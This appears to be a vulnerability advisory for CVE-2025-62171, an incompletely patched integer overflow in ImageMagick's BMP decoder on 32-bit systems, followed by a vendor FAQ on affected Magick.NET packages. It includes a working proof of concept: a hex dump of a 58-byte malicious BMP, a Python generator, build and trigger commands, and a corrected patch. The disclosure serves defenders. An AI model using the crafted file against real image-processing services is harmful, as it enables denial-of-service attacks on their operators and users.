CVE-2025-62171

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.

The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

Affected Versions:

• ImageMagick < 7.1.2-2 (originally reported)
• ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)

Platform and Configuration Requirements:

• 32-bit systems ONLY (i386, i686, armv7l, etc.)
• Requires size_t = 4 bytes. (64-bit systems are NOT vulnerable (size_t = 8 bytes))
• Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).

Details(Root Cause Analysis)

Vulnerable Code Location

File: coders/bmp.c
Lines: 1120-1122 (in version 7.1.2-5)

The Incomplete Patch

// Line 1120: Integer overflow happens HERE
extent = image->columns * bmp_info.bits_per_pixel;  // OVERFLOW!

// Line 1121: Uses already-overflowed value
bytes_per_line = 4*((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Why the Patch Fails

Attack Vector (32-bit system):

Input BMP Header:
  Width: 536,870,912 (0x20000000)
  Height: 1
  Bits Per Pixel: 32

Calculation on 32-bit system:
  extent = 536,870,912 × 32
         = 17,179,869,184 (0x400000000)
         
  32-bit truncation:
  0x400000000 & 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!
  
  bytes_per_line = 4 × ((0 + 31) / 32)
                 = 4 × 0
                 = 0
  
  BMPOverflowCheck(0, 1):
    return (1 != 0) && (0 > 4294967295UL/1)
    return True && (0 > 4294967295)
    return True && False
    return False  ← Does NOT detect overflow!

The check fails because:

1. The overflow happens at Line 1120 (extent calculation)
2. extent becomes 0 due to 32-bit truncation
3. bytes_per_line is calculated as 0 (Line 1121)
4. BMPOverflowCheck(0, 1) returns False (no overflow detected)
5. Code proceeds with corrupted values → ASan crash

PoC(Proof of Concept)

Minimal 58-byte BMP File

Hex dump:

00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

Key Fields:

• Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912)
• Offset 0x16: Height = 01 00 00 00 = 1
• Offset 0x1C: BPP = 20 00 = 32

Python Generator

#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP File Header (14 bytes)
file_header = b'BM'
file_header += struct.pack('<I', 58)      # File size
file_header += struct.pack('<HH', 0, 0)   # Reserved
file_header += struct.pack('<I', 54)      # Pixel offset

# DIB Header (40 bytes)
dib_header = struct.pack('<I', 40)        # Header size
dib_header += struct.pack('<i', width)    # Width
dib_header += struct.pack('<i', height)   # Height
dib_header += struct.pack('<H', 1)        # Planes
dib_header += struct.pack('<H', bpp)      # BPP
dib_header += struct.pack('<I', 0)        # Compression
dib_header += struct.pack('<I', 0)        # Image size
dib_header += struct.pack('<i', 2835)     # X ppm
dib_header += struct.pack('<i', 2835)     # Y ppm
dib_header += struct.pack('<I', 0)        # Colors
dib_header += struct.pack('<I', 0)        # Important colors

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f:
    f.write(file_header + dib_header + pixel_data)

print(f"Created overflow.bmp (58 bytes)")

Reproduction Steps

Environment Setup

# Use 32-bit Docker container
docker run -it --name test-32bit i386/ubuntu:latest bash

# Install dependencies
apt-get update
apt-get install -y clang build-essential wget tar \
    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \
    zlib1g-dev liblzma-dev libbz2-dev

# Download ImageMagick 7.1.2-5
cd /tmp
wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz
tar xzf 7.1.2-5.tar.gz
cd ImageMagick-7.1.2-5

Build with AddressSanitizer (32-bit IMPORTANT!)

# Configure for 32-bit build (CRITICAL - must be 32-bit!)
./configure \
    --host=i686-pc-linux-gnu \
    --disable-dependency-tracking \
    --disable-silent-rules \
    --disable-shared \
    --disable-openmp \
    --disable-docs \
    --without-x \
    --without-perl \
    --without-magick-plus-plus \
    --without-lqr \
    --without-zstd \
    --without-tiff \
    --with-quantum-depth=8 \
    --disable-hdri \
    CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    LDFLAGS="-fsanitize=address,undefined"

make -j$(nproc)

### Trigger the Vulnerability

```bash

## Set environment to bypass cache.c limits
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1"
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

## Test with malicious BMP (use Python script above to create it)
./utilities/magick identify overflow.bmp

AddressSanitizer Output

==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 
"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 
"((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: 
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow
For details see https://github.com/google/sanitizers/issues/189

It operates in the following environments.

export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

Impact

Attack Scenario

1. Attacker creates a 58-byte malicious BMP file
2. Uploads to web service that uses ImageMagick (on 32-bit system)
3. ImageMagick attempts to process the image
4. Integer overflow triggers AddressSanitizer crash
5. Service becomes unavailable (Denial of Service)

Real-world targets:

• Web hosting platforms with image processing
• CDN services with thumbnail generation
• Legacy embedded systems
• IoT devices running 32-bit Linux
• Docker containers using 32-bit base images

Recommended Fix

Correct Patch

The overflow check must happen before the multiplication:

// Add overflow check BEFORE calculating extent
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
    ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// Now safe to calculate
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);

// Additional safety check
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Alternative: Use 64-bit Arithmetic

// Force 64-bit calculation
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 > UINT32_MAX)
    ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);

Credits

wooseokdotkim
[email protected]

An arithmetic operation produces a value that exceeds the integer type's maximum, causing it to wrap to an unexpected small value. Typical impact: incorrect size calculations leading to heap overflows or logic errors.

CVE-2025-62171 has a CVSS score of 4.4 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (14.9.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-62171? CVE-2025-62171 is a medium-severity integer overflow or wraparound vulnerability in Magick.NET-Q16-AnyCPU (nuget), affecting versions < 14.9.0. It is fixed in 14.9.0. An arithmetic operation produces a value that exceeds the integer type's maximum, causing it to wrap to an unexpected small value.
2. How severe is CVE-2025-62171? CVE-2025-62171 has a CVSS score of 4.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2025-62171?
   • Magick.NET-Q16-AnyCPU (nuget) (versions < 14.9.0)
   • Magick.NET-Q16-HDRI-AnyCPU (nuget) (versions < 14.9.0)
   • Magick.NET-Q16-HDRI-x86 (nuget) (versions < 14.9.0)
   • Magick.NET-Q16-x86 (nuget) (versions < 14.9.0)
   • Magick.NET-Q8-AnyCPU (nuget) (versions < 14.9.0)
   • Magick.NET-Q8-x86 (nuget) (versions < 14.9.0)
4. Is there a fix for CVE-2025-62171? Yes. CVE-2025-62171 is fixed in 14.9.0. Upgrade to this version or later.
5. Is CVE-2025-62171 exploitable, and should I be worried? Whether CVE-2025-62171 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-62171 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-62171?
   • Upgrade Magick.NET-Q16-AnyCPU to 14.9.0 or later
   • Upgrade Magick.NET-Q16-HDRI-AnyCPU to 14.9.0 or later
   • Upgrade Magick.NET-Q16-HDRI-x86 to 14.9.0 or later
   • Upgrade Magick.NET-Q16-x86 to 14.9.0 or later
   • Upgrade Magick.NET-Q8-AnyCPU to 14.9.0 or later
   • Upgrade Magick.NET-Q8-x86 to 14.9.0 or later